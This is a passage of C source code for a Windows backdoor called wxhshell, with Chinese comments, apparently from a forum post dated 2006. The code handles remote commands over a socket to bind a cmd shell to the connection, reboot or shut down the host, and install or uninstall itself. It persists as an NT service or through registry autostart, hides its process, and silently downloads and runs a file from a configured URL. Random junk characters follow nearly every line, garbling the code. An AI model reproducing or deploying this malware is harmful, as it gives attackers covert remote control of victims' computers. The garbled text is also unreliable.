  case 'i': { [Z }B"  
    if(Install()) H*U`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bejGfc  
    else #Q6w+"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fNhT;Bux  
    break; E3\ZJjG  
    } 03E3cp"  
  // 卸载 xUj2 ]Q>R+  
  case 'r': { :I/  
    if(Uninstall()) ^e9aD9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H @!#;w  
    else Zq?_dIX %  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X ]s"5ju|t  
    break; zO2{.4  
    } Zc\S$+PM  
  // 显示 wxhshell 所在路径 q+/l"&j.  
  case 'p': { F.KrZ3%4iB  
    char svExeFile[MAX_PATH]; Dc:DY:L^  
    strcpy(svExeFile,"\n\r"); r@$B'CsLj  
      strcat(svExeFile,ExeFile); z>:U{!5k  
        send(wsh,svExeFile,strlen(svExeFile),0); ^![{,o@"A  
    break; FGVb@=TO>  
    } IQ{?_'  
  // 重启 F$ {4X /9n  
  case 'b': { FE6C6dW{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y +qus  
    if(Boot(REBOOT)) FW^.m?}|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x(6vh2#vD  
    else { h ]}`@M"  
    closesocket(wsh); twv lQ|  
    ExitThread(0); 2?1}ZXr  
    } 0WS|~?OR@  
    break;  ~^7  
    } TolrEcI  
  // 关机 bA+[{  
  case 'd': { K{FhT9R'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (,TH~("{  
    if(Boot(SHUTDOWN)) `r.N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SY8U"Qc;9  
    else { 6 5"uD7;  
    closesocket(wsh); Qg{WMlyOP  
    ExitThread(0); X8.y4{5  
    } _=T]PSauI  
    break; KDaN-r^{%  
    } G|V\^.f<  
  // 获取shell LH.%\TMN$  
  case 's': { aZxO/b^j  
    CmdShell(wsh); Q %y,;N"ro  
    closesocket(wsh); KE#$+,?  
    ExitThread(0); 500> CBL0O  
    break; VK$zq5D  
  } L B<UC?e  
  // 退出  L,%Z9  
  case 'x': { 7A[Ogro  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); JQH7ZaN  
    CloseIt(wsh);  mc~`  
    break; XP4jZCt9  
    } ] EV`dIk  
  // 离开 i)8gCDc  
  case 'q': { 7>KQRLw  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `M6YblnJZ  
    closesocket(wsh); Ki63Ox^O  
    WSACleanup(); T#Fn:6_=  
    exit(1); <YSg~T  
    break; K~$35c3M  
        } DUQ9AT#3  
  } >z5Oy  
  } KDX$.$#  
$oc9 |Q 7  
  // 提示信息 n'Bmz  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QWQ!Ak  
} 6g8M7<og9R  
  } J/= +r0c  
`fLfT'  
  return; s v6INe:  
} ` -yhl3si  
XS3{R   
// shell模块句柄 QW,cn7  
int CmdShell(SOCKET sock) 2S'AIuIew  
{ 1"M"h_4  
STARTUPINFO si; Z%KL[R}^w;  
ZeroMemory(&si,sizeof(si)); l,^xX =,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .:T9pplq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A}gYcc85Z  
PROCESS_INFORMATION ProcessInfo; &bn*p.=G  
char cmdline[]="cmd"; OX`?<@6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xP42xv9U  
  return 0; %;'~%\|dZM  
} l'W3=,G[?  
&^AzIfX}Gw  
// 自身启动模式 LPb]mC6#  
int StartFromService(void) 6|%^pjX5  
{ @Ap@m6K?q  
typedef struct JN-D/s  
{ fmtuFr^a1  
  DWORD ExitStatus; 8 f|9W%jt  
  DWORD PebBaseAddress; l.sm~/  
  DWORD AffinityMask; t;h+Cf4  
  DWORD BasePriority; A&D2T  
  ULONG UniqueProcessId; o`oRG)QC  
  ULONG InheritedFromUniqueProcessId; ~}epq6L>  
}   PROCESS_BASIC_INFORMATION; Fp wlV}:  
^ b=5 6~[  
PROCNTQSIP NtQueryInformationProcess; $:qI&)/  
M0Lon/%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; MoZU(j  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >+zAWK9  
6wa<'!   
  HANDLE             hProcess; 9NJ=~Ub-  
  PROCESS_BASIC_INFORMATION pbi; L~'^W/N  
H Jnv'^yn  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wa9'2a1?  
  if(NULL == hInst ) return 0; B.h0" vJ  
/%2:+w  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KteZK.+#:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); BnY\FQ)K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %iHyt,0v2  
JrY"J]/  
  if (!NtQueryInformationProcess) return 0; d,Im&j_Z  
=e"H1^Ml  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); K * xM[vO  
  if(!hProcess) return 0; |6\FI?  
q g) Af  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^(E"3 c  
'p4da2%  
  CloseHandle(hProcess); Sn{aHH  
u* #-7   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'fp<FeTg  
if(hProcess==NULL) return 0; *y":@T  
CDwFVR'_Af  
HMODULE hMod; 4]|9!=\  
char procName[255]; EhmUX@k],  
unsigned long cbNeeded; 2 zmQp  
'<*CD_2t-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Kt/+PS  
\4]zNV ~x  
  CloseHandle(hProcess); Mp DdJ,  
WF3DGqs_]  
if(strstr(procName,"services")) return 1; // 以服务启动 LZZ:P  
wfU&{7yt  
  return 0; // 注册表启动 q.u[g0h;  
} ILu0J`;}  
(}/.4xE  
// 主模块 0C"PC:h5  
int StartWxhshell(LPSTR lpCmdLine) d~P<M3#>  
{ O,V6hU/ *  
  SOCKET wsl; =:v><  
BOOL val=TRUE; =2vMw]  
  int port=0; 6B!j(R  
  struct sockaddr_in door; priT 7!  
{8*d;[X50  
  if(wscfg.ws_autoins) Install(); ^J*G%*  
tehI!->l  
port=atoi(lpCmdLine); eD` ,  
g~$GE},,  
if(port<=0) port=wscfg.ws_port; ` + n  
jmk*z(}#:  
  WSADATA data; w50Bq&/jX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S$kuhK>W!  
*]E7}bqb  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   JtrDZ;^@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ftI+#0?[!  
  door.sin_family = AF_INET; 8KL_PwRX_f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $ <>EwW  
  door.sin_port = htons(port); y}:)cA~o(y  
#ejw@bd  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LGo@F;!n  
closesocket(wsl); 5sh u76  
return 1; ma]F%E+$  
} vxilQp  
@7[.> I(  
  if(listen(wsl,2) == INVALID_SOCKET) { dbq{a  
closesocket(wsl); &Lt$a_y>  
return 1; #()cG  
} h,WY2Hr  
  Wxhshell(wsl); ;KZtW  
  WSACleanup(); k vgs $  
e ka@?`  
return 0; ^]lwd"$  
^ yukn*L  
} UA!Gr3  
K9qEi{[  
// 以NT服务方式启动 mTuB*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) iP? ASqo{  
{ kj3o1Y  
DWORD   status = 0; w[$nO#  
  DWORD   specificError = 0xfffffff; QY\wQjwuW  
yL3<X w|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )Y,?r[4{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; q[|`&6B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R;TEtu7  
  serviceStatus.dwWin32ExitCode     = 0; a6k(O8Ank3  
  serviceStatus.dwServiceSpecificExitCode = 0; @<TfA>*VJ  
  serviceStatus.dwCheckPoint       = 0; Z/05 wB  
  serviceStatus.dwWaitHint       = 0; "k1Tsd-  
ox=7N{+`J  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mv%:[+!  
  if (hServiceStatusHandle==0) return; t|U2 ws#  
<sCq x/L  
status = GetLastError(); >wS:3$Q  
  if (status!=NO_ERROR) 4bFVyv  
{ dK;\`>8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5f*'wA  
    serviceStatus.dwCheckPoint       = 0; B%g:Z  
    serviceStatus.dwWaitHint       = 0; ?6YUb;  
    serviceStatus.dwWin32ExitCode     = status; $t H.np  
    serviceStatus.dwServiceSpecificExitCode = specificError; FeeWZe0i  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); c'#J{3d  
    return; HFx"fT  
  } 6p=xgk-q  
$E,DxDT  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7CL@i L Tq  
  serviceStatus.dwCheckPoint       = 0; //5_E7Ehu$  
  serviceStatus.dwWaitHint       = 0; '/Cz{<,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1gy}E=noP  
} 6BN(^y#-X  
Q.2nUT`  
// 处理NT服务事件,比如:启动、停止 OUk5c$M(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;$L!`"jn  
{ = 4WZr  
switch(fdwControl) jG(~9P7  
{ 7RFkHME  
case SERVICE_CONTROL_STOP: I nK)O ';  
  serviceStatus.dwWin32ExitCode = 0; ;q&D,4r]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L8tLW09  
  serviceStatus.dwCheckPoint   = 0; /^eemx  
  serviceStatus.dwWaitHint     = 0; EbYH?hPo  
  { 2T%f~yQ^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +M]8_kE=+l  
  } z(X6%p0  
  return; J$/BH\  
case SERVICE_CONTROL_PAUSE: N_k6UA9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ml/p{ *p  
  break; qq_,"~  
case SERVICE_CONTROL_CONTINUE: $(L7/M  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;GT)sI   
  break; gG;W:vR}l  
case SERVICE_CONTROL_INTERROGATE: "jc)N46  
  break; PQ"%Z.F"  
}; Dj. +5f'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~[y+B0I3  
} ~%:p_td  
Tn-]0hWkP  
// 标准应用程序主函数 \\Tp40m+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9:w,@Phe  
{ >b?)WNk  
qML*Kwg  
// 获取操作系统版本 {1DYXKe  
OsIsNt=GetOsVer(); $[CA#AXE  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &E`Z_} ~  
j:KQIwc  
  // 从命令行安装 K.1yncS^  
  if(strpbrk(lpCmdLine,"iI")) Install(); S)|b%mVwR  
Fh $&puF2  
  // 下载执行文件 8vW`E_n  
if(wscfg.ws_downexe) { dKTAc":-}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :Rj,'uH+h)  
  WinExec(wscfg.ws_filenam,SW_HIDE); Z?' |9FM  
}  PuCA @qY  
Z`c{LYP,y"  
if(!OsIsNt) { %\&dFwb  
// 如果时win9x,隐藏进程并且设置为注册表启动 S5a<L_  
HideProc(); 7zZ|=W?&{  
StartWxhshell(lpCmdLine); E2kRt'~N  
} :?k=Yr  
else |raQ]b@t&  
  if(StartFromService()) M)^9e?  
  // 以服务方式启动 bI(98V,t  
  StartServiceCtrlDispatcher(DispatchTable); Kp8T;&<Iay  
else !r0P\  
  // 普通方式启动 S`w)b'B!M  
  StartWxhshell(lpCmdLine); pPp nO  
+qf{ '|H  
return 0; )1 j2  
}
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只看该作者 1 发表于: 2006-10-10
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